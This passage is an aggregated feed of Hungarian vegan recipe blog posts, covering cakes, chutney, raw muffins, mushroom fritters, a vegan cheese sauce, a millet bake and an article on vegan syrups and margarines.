Egy edényben összekeverjük először a száraz hozzávalókat,a liszteket és a szódabikarbónát érdemes együtt átszitálni és utána hozzákeverni a nyírfacukrot. Hozzá kanalazzuk a növényi tejet és olajat. Jól összekeverjük az egészet, majd a sütőformába szépen elsimítjuk és előmelegített sütőbe készre sütjük. Tűpróbával megnézzük, hogy a tészta átsült-e.
A krém receptje:
- 2 konzerv kókusztej
- 2 kanál nyírfacukor (vagy gyümölcscukor vagy eritrit)
- 10-20 szem málna
Elkészítés:
A konzerv kókusztejet egy éjszakára érdemes hűtőben tartani. Ha ezt elfelejtettük, tegyük a fagyasztóba kb. 1 órára. Ezt a konzervet érdemes óvatosabban kezelni, nem felrázni, hogy minél sűrűbb állagú kókusztejet kapjunk. Tetejéről a sűrű réteget egy habverő tálba kanalazzuk. Habverővel habbá verjük. Amikor a hab kész, hozzáadjuk az édesítőt. (Szirup-félét, mint agavé, nem ajánlom, mert a hab folyékonnyá válik.) A habot két részre osztjuk, az egyikhez hozzákeverjük a villával összetört málnát és azzal jól átkeverjük (habverőt használva).
Málnás krém receptje:
- 10 dkg málna
- 1-2 evőkanál nyírfa vagy gyümölcscukor
A málnát összetörjük egy tűzálló tálba. Meghintjük cukorral és összefőzzük dzsem állagúra.
A torta összeállítása:
A megsült tortát félbevágjuk. Az alsó tésztát megkenjük a málnás krémmel, majd rákanalazzuk a málnás tejszínt. Erre finoman ráfektetjük a torta másik lapját (Én ezt is bekentem a málnás krémmel, de talán jobb lett volna, ha szárazon hagyom.). A tetejét és a torta oldalát bekenjük a fehér tejszínnel. Az oldalára a tenyerünkkel finoman mandula lapokat helyezünk, a torta tetejét pedig mandulával és egész málnával dekoráljuk. Ha ügyes kezünk van, habnyomóba töltött tejszínhab formákkal is dekorálhatjuk a tortát. Ha elkészült a torta, hűtőben tároljuk tálalásig.
Sárgabarackos mazsolás csatni (chutney)
2019. július 28. Élj harmóniában
A csatni (chuetney), ami feldobja az ételed, segíti az emésztést:) Édes, sós, csípős, savanyú mindez egyben:) Kiváló étvágycsináló, emésztést segítő és segít kiemelni az ételek ízét. Minden ételt élvezetesebbé tesz. Az ájurvéda és az indiai konyha szinte minden étkezéshez készít valamilyen csatnit. A csatnikat fogyaszthatod melegen vagy hidegen is. Sárgabarackos mazsolás csatni (chuetney) Már néhány chuetneyi receptet közzé tettem a blogon - Szilva csatni itt olvasható az Alma csatnit pedig itt találod , ez pedig egy finom paradicsom csatni. és egy nyári hűsítő friss kókuszos koriander csatni recetet is találsz a blogon Az idei Nyári Jóga Elvonuláson sárgabarackos csatnit készítettünk a paprika és cukkini pakorákhoz:) Minden jógatáborban a pakora a legnagyobb siker, ez idén sem volt máshogyan:) Pakora receptéjét itt találod. A sárgabarackos-mazsolás csatni hozzávalói 1 kg sárgabarack 2 ek. ghí (vegán változatban kókuszzsír) 3 ek. citromlé 1 dl víz 1 kis fahájrúd 1/2 tk. kalinji (fekete hagymamag) 1/2 ek finomra reszelt gyömbér 85 g mazsola 1/4 tk. só 1/8 tk. szárított, tört chili ha édesszájú vagy akkor 75 g teljes értékű barna nádcukor Vegyszermentes (bio) alapanyagokat használj! A barackot alaposan mosd meg, magozd ki és vágd vékony szeletekre. A ghít vagy olajat közepes lángon hevítsd fel. A forró zsiradékban tedd bele a fahéjrudat, kalinjit, gyömbért és a chilit. Picit pirítsd meg ( fél perc kb) add hozzá a többi alapanyagot és forrald fel. Majd mérsékelt lángon, folyamatosan kevergetve addig főzd, míg sűrű, fényes, mázas nem lesz. kb 30 perc Fogyaszthatod pakorával vagy bármilyen étel mellé. Melegen vagy hidegen tálalhatod, hűben tárolható néhány napig. Jó étvágyat kívánok:) szeretettel: Kati
Mogyoróvajas muffin nyers-vegán
Felejtsd el a tűzhely használatát erre a sütire! Különben is " végre itt a nyár és meleg (?) az idő, az ember strandra jár..." Khm, éppenséggel strandra azért nem ajánlom, hogy elkészítsd ezt a sütit, de egy BBQ partira, vagy egy egyszerű vendégségre, bátran tehetsz egy próbát. Laktató, az emberek nem tudnak egyszerre sokat enni belőle és ráadásul tényleg nem kell hozzá se sütő se főzőlap, turmixgép és/vagy gyorsaprító viszont annál inkább. Van még valami jó ebben a sütiben, az hogy nincs benne se fehér cukor, se cukor helyettesítésre szolgáló édesítő (se xylit, se gyári gyümölcscukor, se agavé szirup, se kókuszvirág cukor). Oh, és még egy jó dolog, nem kell bekapcsolni a sütőt, vagy ezt említettem már? :) Mindezek felett pedig gluténmentes, vegán, tehát tej, tojás és állati termék mentes tömény élvezet.
A recept
A desszert alapja
Hozzávalók:
- 25 dkg olajos magvak, mogyorófélék megdarálva (pl.dió, lenmag, mogyoró, tökmag, napraforgómag, ami épp van az otthonunkban)
- 10 dkg mazsola
- 4 ek karobpor (Ha nincs, használhatunk cukrozatlan kakaóport, de a karob egészségesebb és a mazsolához jobban passzol, szerintem.)
- víz
- útifű maghéj
Elkészítés:
Az olajos magvakat és mogyoróféléket külön külön jó alaposan megdaráljuk pl. kávédarálóval. A mazsolára jó meleg vízet öntünk, annyit csak, hogy épp ellepje. Ezzel beáztatjuk, majd ha felpuhult, a vizet leszűrjük róla és gyorsraprító gépben pépesre daráljuk. A vizet, amiben ázott a darált olajos magvakra öntjük, majd szintén ehhez keverjük a mazsola-masszát és a karobport. Egy kevés vizet adunk még hozzá, ha szükséges ahhoz, hogy egy nagy gombócot tudjunk formálni ebből a masszából. Egy muffinsütőt kibélelünk papírokkal, majd mindegyikbe kb 1 evőkanálnyit adagolunk és az ujjainkkal jól belenyomkodjuk. Egy-egy csipet útifű maghéjat szórunk a tetejükre. Amikor ez kész, a hűtőbe tesszük.
Ha nincs muffinsütőnk, egy nem túl nagy tespi vagy egy tortatforma is jó lesz. Ez esetben érdemes frissentartó fóliával kibélelni és a masszát abba simítani, nyomkodni.
A mogyoróvajas krém receptje
- 20 dkg kenhető állagú mogyoróvaj
- 10 dkg mazsola
- 10 dkg kókuszkrém (dobozos, mint ez vagy ez vagy ez vagy ez)
- 5 dkg kókusz-zsír
- 3 ek útifű maghéj
Elkészítés:
A mazsolára jó meleg vízet öntünk, annyit csak, hogy épp ellepje. Ezzel beáztatjuk, majd ha felpuhult, a vizet leszűrjük róla és gyorsraprító gépben pépesre daráljuk. A mogyoróvajat ezzel a mazsolás masszával átdolgozzuk, átkeverjük, a legjobb, ha gyorsaprító vagy turmix gépben. Ehhez keverjük a kókuszkrémet. (A kókuszkrém állagahasonló, mint a szilárd kókuszzsír, de mégis valamivel krémesebb. Leginkább tömbben kapható.) Hozzáadjuk a kókuszzsírt is. Ha a turmix vagy aprítógép ezt nehezen viszi, a mazsola áztatásból fennmaradt vizet hozzáönthetjük. Vigyázzunk azonban, ne legyen túl folyékony. A végén pedig az útifű maghéjat adjuk hozzá. Ha túl folyós lenne a mogyoróvajas massza, több útifű maghéjjal tudjuk szilárdabbá tenni. Amikor minden összeállt, a hűtőben pihenő tészta tetejére simítjuk. Díszíthetjük kókuszcsipsszel, aszalt gyümölcsökkel, pl. datolyával, barackkal, vagy a tetejére szórhatunk karobot esetleg fahéjat.
Végső tálalás előtt hűtőben pihentetjük pár órát. Ha kevés időnk van a vendégek érkezéséig, érdemes egy órára a fagyasztóba tenni.
Diós répatorta narancsos “mascarpone” krémmel (laktózmentes, vegán)
2019. május 10. Zizi kalandjai
Nagyon szeretem a répatortát, de évekig nem ettem, mert a mascarpones krémet hiányoltam volna a tetejéről. Aztán volt nálam egy Vegán Húsvét főzőkurzus és akkor elővettem ezt a kedvenc receptemet és veganizáltam. A krémet kesudióból és kókuszkrémből készítettük, de nem lett az igazi, legalábbis nem olyan, mint ahogy azt elképzeltem. Aztán eszembe jutott a Violife natúr krémsajt... Source
Roppanós laska gomba tallérok
Amikor csak úgy csipegetnél valami finom, roppanós valamit, amit akár főétel feltéteként vagy mártogatni is kínálhatod a vendégeknek, ilyenkor szoktam előkapni a csicseriborsó lisztes bundázást. Nem véletlen, hogy mi magyarok arról vagyunk híresek, hogy bármit bebundázunk, de ami finom az finom. Ez a változat glutén,-tojásmentes és kókusz olajban sült. Hozzávalók: Laska gomba (kb. 30-50 dkg) kb. 20 dkg +10 dkg csicseriborsó liszt vagy sárgaborsó liszt 1/2 tk füstölt paprika késhegynyi őrölt fekete bors késhegynyi őrölt szárított fokhagyma 1/2 tk tengeri só kb. 2 dl víz kókusz olaj A csicseriborsó lisztbe keverjük a sót és a fűszereket, a 10 dkg lisztet simán hagyjuk, a gombákat megmossuk és beleforgatjuk a lisztbe majd egyesével belemártjuk a masszába és a forró, bő kókuszolajban aranybarnára sütjük őket. Papírtörlő kendőre tesszük őket és még melegen tálaljuk saláták mártogatós mellé vagy feltétként.
Kókuszos-tahinis hajdina granola (laktózmentes, gluténmentes, vegán)
2019. április 9. Zizi kalandjai
Szerettem volna egy olyan granolát sütni, amelybe nem rakok zabpelyhet, még ha gluténmentes, akkor sem és más pelyhet sem. Valami jó ropogósat szerettem volna, így esett a választásom a hajdinára. Mostanában minden granolánkba a zabpehely mellé raktam hajdinát, innen jött az ötlet, hogy mi lenne, ha csak hajdinából készíteném. Bejött az ötlet! Nagyon-nagyon finom lett és egyáltalán nem érződik a... Source
Gyümölcsös lepény
2019. április 5. Éltető ételek
Amikor a gyerekek hazajönnek az iskolából, az edzésről, mindig éhesek. Ezért az ebéd készítésekor már előre megtervezem, hogy mit fognak a gyerekek uzsonnázni. Legyen tápláló, egészséges, és a gyerekek is megegyék. :) Szóval így esett ma a választásom erre a csupa gyümölcsös lepényre. Ahhoz, hogy a tészta ne legyen száraz, tettem bele túrót (legközelebb ricottával készítem, mert annak jobb az emészthetősége). Jól megborítottam a tetejét fagyasztott vegyes, bogyós gyümölcsökkel, de szezonálisan kerülhet rá lédús barack, szilva vagy akár cseresznye is. Hozzávalók: - 35 dkg teljes kiőrlésű liszt (én alakort használtam) - 15 dkg fehér tönkölyliszt - 25 dkg túró - 1 tk. só - 1 ek. méz - 2 ek. olívaolaj vagy olvasztott kókuszolaj - kb. 2,5 dl langyos víz - 2 dkg élesztő - gyümölcsök - 1-2 evőkanál kókuszcukor - lekvár (én áfonyalekvárt használtam) - fahéj - vaníliapor - mandula Elkészítése: - A lisztet öntsd bele egy tálba, majd a közepébe morzsold bele az élesztőt. Szórj rá egy pici cukrot, és önts rá kevéske meleg vizet. Hagyd pár percig az élesztőt felfutni. - Ezután keverd hozzá az összes hozzávalót. A vizet fokozatosan adagold hozzá, egy kalács állagú tésztát dagassz belőle. - Takard le, hagyd pihenni kb. 1 órát. - Közben a gyümölcsöket készítsd elő, ha szükséges, vágd cikkekre. Keverd hozzá a cukrot és a fűszereket. - A megkelt tésztát felezd meg (két adag készül belőle). Lisztezett zsírpapíron nyújtsd ki kb. ujjnyi vastagra. Tedd tepsibe (én a tepsi aljára szoktam ráhúzni). Kb. 2-3 evőkanálnyi lekvárt csepegtess rá, kicsit kanállal kend szét, majd jó sűrűn szórd rá a cukros gyümölcsöt. A tetejét szórd meg durvára tört mandulával. Sütés előtt kb. 15 percig hagyd pihenni. - Melegítsd elő a sütőt 180 fokra. - Kb. fél óra alatt süsd aranyszínűre.
Mézes-vajas kenyér helyett – rizsszirupos, margarinos kenyér
Ez nem egy recept bejegyzés, inkább arról szól, milyen szirupokat lehet venni méz helyett és hol kaphatóak, mitől lesz nem vegán egy margarin vagy egy kenyér. És persze nem utolsó sorban ez egy vegán reggeli ötlet. A szirupos-margarinos kenyér elkészítése nagyon egyszerű, megkenjük a kenyeret margarinnal, azt meglocsoljuk sziruppal. De az alapanyagok kiválasztása felvethet pár kérdést. Ne aggódj, nem annyira bonyolult, mint amilyen hosszú lett a cikk. A képen a világosabb színű szirup rizsből készült, simán megkentem margarinnal a kenyeret, és rányomtam a rizsszirupot. A sötétebb színű változat juharszirup. Óvodában úgy csinálták nekünk a “vajas-mézes” kenyeret, hogy összekeverték a mézet a margarinnal (gondolom, mert így nem csöpög és ragad annyira). A juharszirup hígabb, mint a rizsből készült társa, ezért ezzel próbáltam ki. Nem lehet teljesen simára keverni villával, de eléggé összeáll ahhoz, hogy fel tudtam kenni egy alapnak, és csurgattam még rá egy adag juharszirupot. Teljesen visszaadta az ovis emlékeket. Szirupok A méz nem vegán, erről itt írtunk. Jó helyettesítők a növényi szirupok. Az én kedvencem a rizsszirup, mert van valami tejszínes krémesség az ízében, miközben teljesen vegán, és Európában termeszthető alapanyagból készül. Az agavé szirup is finom, és rendkívül egészséges. Mivel többnyire Mexikóból származik, nagyobb az ökolábnyoma, mint a rizsszirupnak. A datolya szirup kevésbé elterjedt, de nagyon finom, mazsolára és karamellre emlékeztető íze van. A datolya közel-keleti gyümölcs. A kókusz szirup íze teljesen karamellás, egészen különleges. Ez előny és hátrány is egyben: ki lehet érezni az ételekből az ízét. Szintén távoli országok gyümölcse. A juharszirupot az amerikai filmekből mindenki ismeri, palacsintára locsolják literszám. Hígabb, mint a fenti szirupok. Füstös, kellemes íze van, nagyon finom. Szinte kizárólag Kanadából és az USÁból származik. Még sosem láttam boltban, de létezik a magyar almaszirup, mely nyilván kicsi ökolábnyomú alternatíva. Karamellás ízvilágért még választhatjuk a (szerintem kevésbé egészséges) nádmelaszt, azaz cukornád-szirupot. Margarinok Sajnos a margarinok többsége sem vegán. Ez itt nem a reklám helye, de az olcsóbbak közül a Liga margarin teljesen állati eredetű anyagoktól mentes, és a Rama is piacra dobta (elég drágán) a vegán margarinját. Más, reform üzletekben, vagy nagyáruházak reform részlegén kapható margarinok közt is találunk vegánt. Attól lesz nem vegán egy margarin, ha van benne – tejtermék (vaj, joghurt, író vagy írópor, laktóz stb.) – D3-vitamin (vagy lanolin) – állati zsiradék Fontos infó: a D2 vitamin növényi eredetű. A D3-vitamint (és a lanolint) viszont juhok gyapjából nyerik ki. Így a D2 vitamin vegán, de ha a D3-t látod a csomagoláson bármilyen terméknél, az sajnos juhok szenvedése árán került az ételbe. Tejsav vagy tejsavó: a tejsavat baktériumos erjesztéssel állítják elő, így vegán. A tejsavó azonban a tejnek az alkotóeleme, így nem vegán. Kenyérfélék A kenyérfélékben, pékárukban előfordulhat tej, tejpor, tejsavó, sajt, vaj (tejből készül!), tojás, tojáspor, állati zsíradék, tepertő, és persze az ízesített, töltött pékárukban még sok minden más. Szerencsére már minden kis- és nagyáruházban fel van tüntetve, ki van függesztve az allergéntáblázat, vagy rosszabb esetben a el lehet kérni az ügyfélszolgálattól. Vannak dolgok, amiket nem nagyon tudunk kivédeni, például az úgynevezett zsírsavak mono- és digliceridjeit, amit többnyire növényi alapanyagokból állítanak elő, de nem kizárható sajnos az állati zsír használata. Mindenki magának dönti el, hogy ez a kockázat belefér-e számára. Kenyeret gluténmentes változatban is vehetünk, vagy helyettesíthető puffasztott kukoricaszelettel (más néven abonettel). The post Mézes-vajas kenyér helyett – rizsszirupos, margarinos kenyér appeared first on VegaNinja.
Vegán sajtkrém recept répából és krumpliból – mártogatós, szendvicskrém vagy sütőben sült dolgok felső rétege is lehet
Van egy olcsó és nagyon finom vegán sajtkrém, amiről mindenkinek tudnia kell! Az egyetlen különleges összetevője a sörélesztőpehely, ez kölcsönzi neki a sajt ízt – na meg talán a kókuszolaj és a füstölt paprika. Sörélesztőpelyhet ázsiai mindenes boltokban és bioboltokban lehet kapni, füstölt paprikát pedig tudtommal csak bioboltokban, de ez sima pirospaprikával helyettesíthető. A kókuszolaj pedig egyre több helyen kapható, nagyáruházakban, drogériákban stb. Ehetjük tortilla csipsszel, szendvicsben, főtt tésztára téve (lásd mac and cheese), vagy szétteríthetjük sütőben sült, rakott ételek tetején is. Hozzávalók: 1 közepes fej vöröshagyma 3 nagyobb répa 2 nagyobb krumpli 2 evőkanál kókuszolaj 3 evőkanál sörélesztőpehely (gluténmentes változata is van) 1 kicsi gerezd fokhagyma 1 teáskanál füstölt pirospaprika (sima paprika is jó) 2 teáskanál natúr ételízesítő só bors fél citrom kifacsart leve A hagymát, répát és krumplit megpucoljuk, kisebb darabokra vágjuk (úgy gyorsabban megfő). Egy lábasba tesszük annyi vízzel, amennyi éppen ellepi, sóval, borssal és ételízesítővel, és a fokhagymanyomóval kinyomott fokhagymával megfőzzük, közepes lángon, fedő alatt. Amikor kész, a főzővíz kb. felét leöntjük róla egy tálba, és félretesszük, mert a végén még kellhet. Hozzáadjuk a kókuszolajat, a sörélesztőpelyhet, a citrom levét és a füstölt paprikát (ha sima pirospaprikát használunk, akkor a füstölt íz nyilván nem lesz jelen, de úgy is finom). Botmixer segítségével krémesítjük, és ha túl szilárd, a főzővízzel, növényi tejjel és/vagy némi extra kókuszolajjal hígíthatjuk. Szendvicskrémnek jobb, ha kicsit szilárdabb és egy kicsit darabosabb, de ha pl. mártogatós szósznak készítjük valamikor máskor, akkor lehet hígabb, és sokkal simább is. The post Vegán sajtkrém recept répából és krumpliból – mártogatós, szendvicskrém vagy sütőben sült dolgok felső rétege is lehet appeared first on VegaNinja.
Rakott cukkini kölessel és vegán “sajtkrémmel”
Vannak azok a napok, amikor nincs itthon friss alapanyag, mégis valami egészségeset és táplálót szeretnék csinálni. Ilyenkor jönnek jól a fagyasztott zöldségek, a gabonák és a tartós zöldségek, mint a hagyma, a krumpli és a répa. Vegán sajtkrém hozzávalók: 1 közepes fej vöröshagyma 3 nagyobb répa 2 nagyobb krumpli 2 evőkanál kókuszolaj 3 evőkanál sörélesztőpehely (gluténmentes változata is van) 1 kicsi gerezd fokhagyma 1 teáskanál füstölt pirospaprika (sima paprika is jó) 2 teáskanál natúr ételízesítő só bors fél citrom kifacsart leve A hagymát, répát és krumplit megpucoljuk, kisebb darabokra vágjuk (úgy gyorsabban megfő). Egy lábasba tesszük annyi vízzel, amennyi éppen ellepi, sóval, borssal és ételízesítővel, és a fokhagymanyomóval kinyomott fokhagymával megfőzzük, közepes lángon, fedő alatt. Amikor kész, a főzővíz kb. felét leöntjük róla egy tálba, és félretesszük, mert a végén még kellhet. Hozzáadjuk a kókuszolajat, a sörélesztőpelyhet, a citrom levét és a füstölt paprikát (ha sima pirospaprikát használunk, akkor a füstölt íz nyilván nem lesz jelen, de úgy is finom). Botmixer segítségével krémesítjük, és ha túl szilárd, a főzővízzel, és/vagy némi extra kókuszolajjal hígíthatjuk. Ebben az esetben jobb, ha kicsit szilárdabb és egy kicsit darabosabb, de ha pl. mártogatós szósznak készítjük valamikor máskor, akkor lehet hígabb, és sokkal simább is. Hozzávalók a fokhagymás cukkinihez: fél kg fagyasztott vagy friss cukkini karikázva fél doboz növényi tejszín (pl. zabtejszín) 2 dl édesítetlen növényi tej (pl. zabtej) 2 evőkanál zabliszt (kukoricakeményítő is megfelel) 2 gerezd fokhagyma só A cukkinit némi sóval és pici vízzel feltesszük párolódni kis lángon, lefedve. Időnként kevergessük meg. 5 perc után nyomjuk rá a fokhagymát a nyomóval, és keverjük el. Főzzük tovább fedő nélkül. Mikor már áttetszőek a szeletek, öntsük rá a növényi tejszínt, sózzuk meg. A zablisztet (vagy keményítőt) tegyük bele egy kisebb, jól záródó tárolóba, pl. befőttes üvegbe, és öntsük hozzá a zabtejet, majd rázzuk össsze alaposan. Adjuk hozzá a cukkinihez, és keverjük el. Gyakran kevergessük, mert hamar besűrűsödik, ekkor elkészült a cukkinis rétegünk. A cukkini gyorsan megfő, de nem szükséges teljesen puhára főznünk, mivel a sütőben még tovább fog puhulni. Hozzávalók a köles réteghez: 20 dkg (kb. 4 dl) köles kb. 6 dl víz só fél citrom leve kb. 2dl zabtej A kölest általában háromszoros mennyiségű folyadékban szoktuk megfőzni, de mivel most nem kell teljesen puhára főzni, mivel sütőben fog megsülni, így a kb. 4 dl kölest a vízzel és a zabtejjel (más növényi tej is jó) összesen 8 dl folyadékban főzzük félpuhára. Még főzés előtt sózzuk is, és ha szeretjük a kaprot, mehet bele az is. Ha elfőtt, levesszük a tűzről, és mikor már picit kihűlt, hozzáadjuk a citromlevet. Hozzávalók a többi réteghez: 2 fej hagyma 1 evőkanál kókuszolaj só 2 érett paradicsom 2 evőkanál napraforgómag pár szelet növényi sajt Rétegezés: Alulra megy a párolt hagyma, rá a köles réteg, arra pedig a cukkinis-tejszínes réteg. Erre a textúra miatt rászórjuk a napraforgómagot (meg is piríthatjuk előtte, de nem fontos), és erre kerül vastagon a sajtszósz. A tetejére rákarikázzuk a paradicsomokat, és a növényi sajt szeleteket. 200-250 fokon (nagy lángon) 20-25 perc alatt készre sütjük. A képen látható csicseriborsó ropogós receptjét itt találod. The post Rakott cukkini kölessel és vegán “sajtkrémmel” appeared first on VegaNinja.
Meleg mogyorós ital (vegán)
Hideg téli napokon simogatja a testet és a lelket ez a finom, meleg ital, ami néhány hozzávalóból könnyen elkészíthető. Karácsonykor is meglepheted vele szeretteidet. Ha igazán sűrű italt szeretnél, akkor jobb, ha a növényi tejet te magad készíted el hozzá, Ha viszont nem akarsz azzal semmi időt tölteni, akkor egyszerűen csak végy egy doboz növényi tejet (amelyiket legjobban szereted). Szükséged lesz pár kanálnyi mogyorókrémre (ritkaság tudom, de ez esetben a legjobb a törökmogyoró krém, nem a világosbarna földimogyorókrém), pár csepp vanília esszencia és édesítéshez valami szirup, mint agavé vagy datolya, de ha csak por jellegű édesítőd van otthon, mint xylit vagy gyümölcscukor, az is jó lesz. Házilag készíthető növényi tejek közül ajánlom a zabtejet ami sokkal dúsabb, mint bármelyik bolti verzió. Ráadásul a mogyorókrém és a zabtej jól harmonizál egymással. Második verzióként esetleg a kókusztej házi elkészítését ajánlom.
A recept:
Hozzávalók:
- 1/2 liter növényi tej
- pár csepp vaníliakivonat
- édesítéshez agavé szirup
- 2-3 evőkanál törökmogyoró krém/vaj
Elkészítés:
Tudom, hogy ritkaságszámban lehet kapni boltokban törökmogyoró krémet/vajat, de mi is elkészíthetjük, ha egy bögrényi mogyorót a lehető legkrémesebbre aprítjuk, daráljuk. Ha nem tudnánk krémesre darálni, akkor sincs gond, mert a növényi tejjel rövid ideig felfőzve, majd átszürve a mogyoródaraboktól, meglesz a szükséges íz.
Tehát ha van otthon törökmogyoró krém vagy vaj, akkor a turmixgép poharába kanalazzuk, rácsepegtetjük a vaniliát és az agavé szirupot, majd felöntjük meleg növényi tejjel. Addig turmixoljuk, míg az egész szépen elegyedik. Ha nem nagyon erős a turmixgép, érdemes a növényi tejet előbb beletenni, aztán belekanalazni a mogyorókrémet.
Pohararkba töltjük és a tetejére mehet vegán tejszínhab vagy megszórhatjuk karobbal, vagy fahéjjal vagy kakaóval.
Egyszerű tejmentes, tojásmentes karácsonyi sütemény
2018. december 13. Élj harmóniában
Itt a karácsonyi időszak... ilyenkor a legtöbb háztartásban már nézegetik a sütemény recepteket, tervezik az ebédeket, vacsorákat... Azt tudjátok rólam, hogy nem szeretek órákat állni a konyhában és pepecselni,de szeretem a finom és minőségi ételeket:) A mai recept egy gyorsan, egyszerűen elkészíthető Karácsonyi hangulatot árasztó süteményem receptje. Ezt a sütit a Gyertyafényes Karácsonyi Jógagyakorlásra készítettem a jógásainknak, elég nagy sikere volt:) Hozzávalók 2 bögre teljes kiőrlésű tönkölybúzaliszt 2 bögre fehér tönkölybúzaliszt 1 bögre teljes értékű barna nádcukor 1 csomag sütőpor 2/3 bögre kókuszzsír 1 tk. szódabikarbóna vanília (vagy vaníliás cukor) fahéj csipet reszelt szegfűszeg 3 közepes alma 2 narancs 1 citrom 3 marék dió 1 bögre víz mazsola (elhagyható) Vegyszermentes (bio) alapanyagokat használj:) Az előkészítéshez mosd meg a gyümölcsöket és az almákat pucold is meg. 1 almának vedd ki a magházát és vágd cikkekre, a többit reszeld le. A narancsnak reszeld le a héját és a levét nyomd ki. A citrom héját is reszeld le. A diót aprítsd darabokra - én kézzel szoktam ezt csinálni - egy maréknyit tegyél félre belőle a díszítéshez. A liszteket, sütőport, szódabikarbónát, cukrot és a fűszereket keverd össze egy tálba. Keverd hozzá a narancs és citrom héjat is. Majd egy másik tálba keverd össze a narancslevet, egy pici citromlével, a vízzel és a kókuszzsírral. Figyelj rá, hogy a kókuszzsír folyékony állagú legyen - ha lemerevedett a kókuszzsír én meleg vízzel szoktam összevegyíteni, hogy felolvadjon és azt a vizet öntöm a tésztához. Keverd össze a száraz és nedves hozzávalókat, majd tedd hozzá a reszelt almát, a diót és ha szeretnél mazsolát rakni bele azt is. Az egészet finoman keverd el - figyeld a tészta állagát, mert attól függ mennyi leve volt a narancsnak, lehet több vagy kevesebb víz kell majd. A masszát öntsd bele egy kikókuszzsírozott, lisztezett tepsibe. A tetejére helyezd el az almaszeleteket és a félretett diódarabokat. 180 fokon süsd addig, amíg jók átsül és szép arany színe lesz. (kb 30 perc) Jó étvágyat hozzá:) szeretettel Kati
Karácsonyi kalács-muffin
Gasztroajándék vagy vendégváró falat, ünnepre készülő egyedi reggeli vagy hétvégi kényeztető falatok, mindegy is mi az indok hogy elkészítsük a kalács-muffinokat. Kelt tésztából, kakaósan és vaníliásan, megédesíthetjük velük a napjainkat. Különlegesen finom egy forró ital kíséretében.
A recept
Hozzávalók:
- 20 dkg teljes kiőrlésű liszt
- 30 dkg fehér liszt
- 8 dkg xylit/nyírfa cukor/gyümölcs cukor (ki mivel édesít)
- 7 dkg folyékony kókuszzsír
- 4-5 dl növényi tej
- fél kávéskanál só
- pár csepp vanília kivonat
- karob vagy kakaó
Elkészítés:
Fontos figyelnünk arra, hogy a konyhában, ahol készítjük a tészát, jó meleg legyen. Ne legyen huzat se.
Az élesztőt a kenyérsütő üstjébe morzsoljuk, és a 8 dkg édesítőszerből egy keveset beleteszünk, majd ráöntjük a felmelegített (kézmeleg) növényi tejet. Megvárjuk, míg az élesztő a tej felszínére kel vagy elegyedik. Ezután hozzáadjuk a többi tejet, cukrot, sót. Ezt követően a teljes kiőrlésű lisztet szórjuk bele, majd a kókuszzsírt, végül a fehér lisztet.
Dagasztó programot választunk. Kenyérsütő gép nélkül mi is összekeverhetjük - a tészta akkor jó, amikor a kézi dagasztás során már elválik az edény falától és hólyagos. Minél több hólyagok keletkeznek a tésztában, annál könnyebb lesz. Ha kézzel dolgozunk, akkor kilisztezett edénybe, konyharuhával letakarva meleg helyen kb. 1 órát pihentetjük, kelesztjük a tésztát. Mielőtt a konyharuhával letakarjuk, a tetejét is szórjuk meg egy kevés liszttel.
Amikor megdagadt, a tésztát két részre választjuk. Az egyikhez annyi karobot vagy kakaót keverünk, hogy szép barna színe legyen. Elképzelhető, hogy egy picit ezt a tésztát tovább kell édesíteni. Ez azon is múlik, ki mennyire édes szájú. Ha szükséges, még egy kis nyírfa cukrot keverhetünk hozzá.
A két különböző színű tésztából 1-1 evőkanállal lecsípünk és ezt tesszük a muffinformákba.Érdemes legalább kókuszzsírral jó alaposan kikenni a muffinformát és egy pici liszttel megszórni. Ha tehetjük és sütőpapírral ki tudjuk bélelni a formát, akkor nem szükséges kikenni. Én muffinpapírt tettem, de nem volt szerencsés megoldás, mert nehéz volt a papírt leszedni a muffinokról.
A muffinokat ismét letakarva meleg helyen kelesztjük fél órát. Nagyjából 25 perc alatt lassú tűzön készre sül.
Miután megsült, és már nem olyan meleg, rácsra tesszük. Ez is lehet vendégváró édesség, egy tea vagy valamilyen forró ital mellé.
Mediterrán kuglóf
Csempésszük a konyhánkba ősszel vagy télen is a Földközi-tenger partvidékének ízeit néhány finom hozzávalóval! Nincs másra szükségünk mint olívabogyóra - abból is a feketét ajánlom, ha csak nem az éretlen zöldért rajongsz - és aszalt paradicsomra. Ma már egyre több helyen árulnak olajban eltett aszalt paradicsomot, aminek az olaját is felhasználhatod akár ehhez a sós kuglófhoz, ha te magad nem aszaltál és tettél volna el a télre. E két hozzávalót keverünk egy kelt kenyér vagy kuglóf tésztához és ha kisült, élvezhetjük is a napsütötte, mediterrán ízeket otthonunkban. A kuglófot akár karácsonyra vagy húsvétra is elkészíthetjük.
A recept
Hozzávalók:
- 3.5 dkg élesztő
- 3 dl meleg növényi tej
- 15 dkg teljes kiőrlésű liszt
- 30 dkg fehér liszt (BL-55) (+ a forma kikenéséhez egy kevés)
- 5 dkg őrölt zabpehely
- 1-2 dkg őrölt lenmag+víz
- 1 tk só
- 5 dkg kókusz zsír vagy növényi margarin vagy az aszalt paradicsomból maradt olaj (+ a forma kikenéséhez egy kevés) vagy oliva olaj
- 15 szelet aszalt paradicsom
- 15 szem magozott fekete olivabogyó
Elkészítés:
Egy nagyobb tálba az élesztőt belemorzsoljuk. Tűzhelyen kézmelegre megmelegítjük a növényi tejet (ne mikróba). Az élesztőre a kellemesre felmelegedett tejet ráöntjük. Amíg várjuk, hogy eleledjen az élesztő, elővesszük a többi hozzávalót. Az őrölt lenmagra ráöntjük a vizet és várunk pár percet, ez képes a tojást helyettesíteni.
Mikor feloldódott az élesztő, a fenti sorrendben hozzáadjuk a többi hozzávalót is, a vízben megáztatott lenmaggal együtt, kivéve az aszalt paradicsomot és az olivabogyót. Először fakanállal összekeverjük, majd kezünkkel jól átgyúrjuk a tésztát. Ha túl száraz lenne, egy kevés szójatejet vagy vizet öntünk hozzá, ha túl nedves, kevés lisztet szórunk a tetejére. Addig kell gyúrni, míg az edénytől el nem válik.
A paradicsomot, felszeleteljük. Ha száraz a paradicsom, érdemes pár percet kevés meleg vízben megáztatni, ha olajban eltett aszalt paradicsom, akkor az olajat lecsepegtetjük róla korábban és felhasználjuk a tésztához. Az olívabogyókat szintén felszeleteljük, de legalább felezzük. A tésztához hozzákeverjük a paradicsomot és az olívát, jól átkeverjük.
Ha kis gömböccé állt össze a tészta, meleg helyen lefedve pihentetjük kb. 45-60 percet. Közben a sütőformákat kikenjük egy kevés kókusz zsírral és megszórjuk egy kevés liszttel. Beletesszük a megkelt tésztát a kuglóf formába, ahol kelesztjük még kb. 20-30 percet, majd előmelegített sütőben 180 fokon kb. 30-40 percet sütjük.
